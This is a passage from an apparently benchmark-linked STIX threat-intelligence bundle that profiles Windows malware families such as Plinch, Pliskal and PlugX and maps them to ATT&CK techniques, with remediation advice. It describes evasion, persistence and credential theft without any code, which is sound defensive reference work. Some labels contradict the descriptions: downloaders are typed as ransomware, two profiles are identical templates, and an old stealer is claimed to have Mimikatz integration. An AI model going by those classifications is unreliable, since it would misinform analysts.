firms.</li>\n</ul>\n\n<h3>Risk Assessment</h3>\nWhile Plicker is not categorized as destructive malware, its privacy implications are severe. The constant network activity slows down the endpoint, and the injected advertisements are frequently served by untrusted networks, greatly increasing the risk of exposure to exploit kits, tech support scams, and secondary malware infections.\n\n<h3>Eradication and Prevention Strategies</h3>\n<ul>\n<li><strong>Endpoint Protection Policies:</strong> Configure EPP/EDR solutions to aggressively detect and block the installation of Potentially Unwanted Programs (PUPs) and grayware.</li>\n<li><strong>Browser Remediation:</strong> Manually remove any suspicious browser extensions associated with Plicker and perform a full browser reset to clear hijacked homepages and search engine settings.</li>\n<li><strong>Application Control:</strong> Implement least-privilege access and utilize application whitelisting to prevent standard users from installing unverified software bundles.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware.Plicker",
        "PUP.Plicker",
        "Win32/Plicker"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Plicker",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/plicker"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f750eb9c-4feb-5afc-b69e-6fb1527073e1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9b031b1b-66d9-5349-842f-f03184983755",
      "target_ref": "attack-pattern--95fcfa9c-4678-5a49-9758-2507908bd03c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Plicker exhibits technique T1566.002 (Phishing: Spearphishing Link (Social engineering to force the user to download the tool))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--973a1c94-75d3-52ae-9797-06515fe5bf15",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9b031b1b-66d9-5349-842f-f03184983755",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Plicker exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3d67b343-15ab-527c-8fa5-c6e093e3df27",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9b031b1b-66d9-5349-842f-f03184983755",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Plicker exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--5d58ebb1-a364-5d81-80df-ff6eb0dec044",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Plimrost",
      "description": "Trojan:Win32/Plimrost is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Plimrost</b><br>To an end-user, a Plimrost infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Plimrost is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Plimrost is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Plimrost frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Plimrost reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Plimrost",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/plimrost"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--abe2276b-52ee-5764-bdc8-1353be42d10d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5d58ebb1-a364-5d81-80df-ff6eb0dec044",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Plimrost exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bde65c45-050b-541a-8807-0b179e960ede",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5d58ebb1-a364-5d81-80df-ff6eb0dec044",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Plimrost exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f86c1eee-9413-558c-810a-7f88a27b5030",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5d58ebb1-a364-5d81-80df-ff6eb0dec044",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Plimrost exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8105162b-3d08-5fe1-af7f-0ad28b2baae2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5d58ebb1-a364-5d81-80df-ff6eb0dec044",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Plimrost exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f06df771-81a9-54c6-81e4-a27250e534ff",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5d58ebb1-a364-5d81-80df-ff6eb0dec044",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Plimrost exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--01887e78-5eae-5556-b3d5-d4cc7299fdbc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Plinch",
      "description": "<h3>Executive Summary</h3>\nPlinch (often synonymous with the \"Pinch\" or \"Linch\" malware families) is a dedicated Information Stealer (Info-stealer) Trojan. Emerging in the mid-to-late 2000s, its primary objective is to silently infiltrate a Windows workstation, rapidly extract sensitive data (specifically targeting saved passwords across a massive variety of applications), and exfiltrate this intelligence to a remote Command and Control (C2) server via email or HTTP POST requests.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nPlinch was notoriously distributed via a builder kit sold on underground forums, allowing novice \"script kiddies\" to generate custom variants. Infection vectors typically involved spear-phishing campaigns, malicious P2P downloads, or bundling with cracked software.\n\nOnce executed, Plinch is designed for comprehensive, rapid data acquisition:\n<ul>\n<li><strong>Broad Software Targeting:</strong> Unlike specialized banking trojans, Plinch casts a very wide net. It targets the local storage databases and registry keys of dozens of applications, including web browsers (IE, Firefox, Opera), email clients (Outlook, Thunderbird), FTP clients (FileZilla, CuteFTP), and Instant Messaging software (ICQ, Trillian).</li>\n<li><strong>System Intelligence:</strong> In addition to passwords, the malware collects detailed system telemetry, including the OS version, IP address, installed software, and network configuration.</li>\n<li><strong>Stealth and Exfiltration:</strong> The malware often injects itself into legitimate processes (like `explorer.exe`) to hide its activity. It rapidly compresses the stolen data into a customized archive and transmits it to the attacker before the user realizes a compromise has occurred.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Plinch infection is a critical data breach. The immediate theft of FTP credentials, email passwords, and browser sessions can lead directly to corporate network compromise, website defacement, and severe identity theft.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Immediate Network Isolation:</strong> Isolate the machine to halt any ongoing data exfiltration.</li>\n<li><strong>Universal Credential Reset:</strong> Assume all passwords saved in *any* application on the infected host are fully compromised. The user must force a logout of all active web sessions and change all passwords from a known-secure device.</li>\n<li><strong>Endpoint Eradication:</strong> Utilize enterprise EDR or anti-malware tools to locate and terminate the Plinch process. Investigate the system for persistence mechanisms (Run keys) and secondary payloads, as Info-stealers are often followed by other malware.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.PWS.Pinch",
        "Infostealer.Plinch",
        "Linch"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Plinch",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/plinch"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0a440f93-5ef4-56ff-ba26-b61c20f3f2ff",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--01887e78-5eae-5556-b3d5-d4cc7299fdbc",
      "target_ref": "attack-pattern--6864732d-cc77-514b-b3ff-9afd19b16e3c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Plinch exhibits technique T1003 (OS Credential Dumping (Built-in Mimikatz integration))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7c415c8f-35a9-57a0-90f7-cd605075390d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--01887e78-5eae-5556-b3d5-d4cc7299fdbc",
      "target_ref": "attack-pattern--be3c2ebf-802b-5550-add8-0d33497d4a55",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Plinch exhibits technique T1552.001 (Credentials In Files (Harvesting passwords and wallets from local storage))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0dbd3356-74f0-55cb-af44-885962569dbe",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--01887e78-5eae-5556-b3d5-d4cc7299fdbc",
      "target_ref": "attack-pattern--87ff6f4d-2443-560e-9936-9f380887aee1",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Plinch exhibits technique T1555.003 (Credentials from Web Browsers)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--172781cf-0058-54c0-a921-082c5b930e4a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--01887e78-5eae-5556-b3d5-d4cc7299fdbc",
      "target_ref": "attack-pattern--a389ad0f-bf6b-5b6e-b010-747af7b7b803",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Plinch exhibits technique T1048 (Exfiltration Over Alternative Protocol)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--edddb012-f38f-5f6c-bb36-f61c0dbfaacf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Pliskal",
      "description": "Pliskal (tracked across enterprise antivirus research telemetry under designations including Trojan:Win32/Pliskal, Trojan:Win32/Pliskal.A, and TrojanDownloader:Win32/Pliskal) is a stealthy Windows trojan downloader and backdoor. First observed in targeted cybercrime campaigns, Pliskal establishes a foothold on victim machines through malicious email attachments disguised as administrative invoices or bundled inside repackaged pirated utility installers. Upon execution, Pliskal performs defensive evasion routines, checking for the presence of virtualized sandbox environments and analysis debuggers. It establishes persistence by writing Run registry values under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run. Pliskal gathers basic host reconnaissance data\u2014including machine hostname, Windows build version, local IP address, and installed security software\u2014and transmits this telemetry to remote command-and-control (C2) servers via HTTP/HTTPS POST requests. In return, the C2 server issues instructions to download, stage, and execute secondary malicious payloads, including credential stealers, keyloggers, and ransomware, using CreateProcessW and ShellExecuteW APIs. (Observed samples in benchmark: 23)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Pliskal",
        "Trojan:Win32/Pliskal.A",
        "TrojanDownloader:Win32/Pliskal",
        "Win32/Pliskal",
        "Backdoor.Win32.Pliskal"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Pliskal",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/pliskal"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--02289800-ff34-5875-b8e4-70ab266d5b8e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--edddb012-f38f-5f6c-bb36-f61c0dbfaacf",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pliskal exhibits technique T1059.003 (Command and Scripting Interpreter: Windows Command Shell)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f4328eea-12f7-5a74-804c-6b6e391cd4d1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--edddb012-f38f-5f6c-bb36-f61c0dbfaacf",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pliskal exhibits technique T1071.001 (Application Layer Protocol: Web Protocols)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2dbcf51d-c37a-53cc-9ebc-4452fcd1a40f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--edddb012-f38f-5f6c-bb36-f61c0dbfaacf",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pliskal exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1286acc4-c3d4-597d-bd0d-71ae9969589f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--edddb012-f38f-5f6c-bb36-f61c0dbfaacf",
      "target_ref": "attack-pattern--4f110b42-2ede-5143-bbfc-b26a59caa2b6",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pliskal exhibits technique T1082 (System Information Discovery)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e9fb6f88-b0ab-5dc4-9d42-b9fb2599661e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--edddb012-f38f-5f6c-bb36-f61c0dbfaacf",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pliskal exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--9a8684b2-7e46-519d-83d0-8db2c393e5b3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Ploprolo",
      "description": "Trojan:Win32/Ploprolo is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Ploprolo</b><br>To an end-user, a Ploprolo infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Ploprolo is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Ploprolo is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Ploprolo frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Ploprolo reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Ploprolo",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/ploprolo"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--17c5b8b2-6fdf-5dd3-9073-e7375e13e8f9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9a8684b2-7e46-519d-83d0-8db2c393e5b3",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ploprolo exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4874b0ab-dd28-5baa-80d0-2ddf8b86f2c4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9a8684b2-7e46-519d-83d0-8db2c393e5b3",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ploprolo exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--05cf14db-800b-59b8-abac-c80247140e6e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9a8684b2-7e46-519d-83d0-8db2c393e5b3",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ploprolo exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4a3234d5-08c0-5e40-8efe-b8852117530e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9a8684b2-7e46-519d-83d0-8db2c393e5b3",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ploprolo exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8bbdbe6b-945b-5d46-9d4a-f03d6a80de22",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9a8684b2-7e46-519d-83d0-8db2c393e5b3",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ploprolo exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--944f2db2-0bb8-5a76-9865-b255828f755a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Plugs",
      "description": "<h3>Executive Summary</h3>\nPlugs is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nPlugs is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Plugs operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Plugs ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Plugs receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Plugs infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Plugs executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Plugs frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Plugs",
        "Downloader.Plugs",
        "Win32/Plugs"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Plugs",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/plugs"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bee694cc-3308-52ec-b1f3-c59f3ac2e827",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--944f2db2-0bb8-5a76-9865-b255828f755a",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Plugs exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--613713ac-b4aa-527b-a2cb-ae916affdb85",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--944f2db2-0bb8-5a76-9865-b255828f755a",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Plugs exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f6392e69-844e-582a-bcad-53dd2bdbffa2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--944f2db2-0bb8-5a76-9865-b255828f755a",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Plugs exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--5f06f53b-26ad-5ba2-be5e-25b6906ca874",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Plugx",
      "description": "PlugX (also known across threat intelligence teams as Korplug or Sogu) is an exceptionally sophisticated, highly modular Remote Access Trojan first observed in 2012. Developed as a successor to legacy Chinese espionage tools like Gh0st RAT and Poison Ivy, PlugX has served as the flagship post-exploitation framework for numerous Chinese state-sponsored advanced persistent threat (APT) groups, including Mustang Panda (Bronze President / HoneyMyte), APT41 (Barium / Winnti), APT26, and APT10 (Stone Panda).\n\nPlugX is renowned for popularizing the 'triad' technique of DLL side-loading: threat actors pair a legitimate, cryptographically signed third-party executable (such as legitimate binaries from McAfee, Kaspersky, Symantec, or Microsoft) with a malicious proxy DLL and an encrypted payload blob (.dat or .bin). When the trusted binary executes, Windows automatically loads the attacker's DLL, which decrypts and injects the PlugX shellcode directly into memory, evading traditional endpoint file-scanning defenses.\n\nIn 2024, French cybersecurity firm Sekoia, in coordination with the French National Police (DGGN) and Europol, spearheaded a monumental international cleanup operation: researchers sinkholed the master C2 server commanding a self-propagating USB-worm variant of PlugX (Sogu), sending benign disinfection commands that disarmed over 3 million infected hosts across 100+ countries worldwide. (Observed samples in benchmark: 8)",
      "is_family": true,
      "malware_types": [
        "remote-access-trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "PlugX",
        "Korplug",
        "Sogu",
        "Trojan.PlugX",
        "Win32/PlugX",
        "Backdoor.PlugX"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Plugx",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/plugx"
        }
      ],
      "labels": [
        "rat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--308f0b28-4811-5e05-8451-73a73488f78c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5f06f53b-26ad-5ba2-be5e-25b6906ca874",
      "target_ref": "attack-pattern--a763b4e8-06c3-5399-9705-7b4f6eec4504",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Plugx exhibits technique T1574.002 (Hijack Execution Flow: DLL Side-Loading (Core evasion technique))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
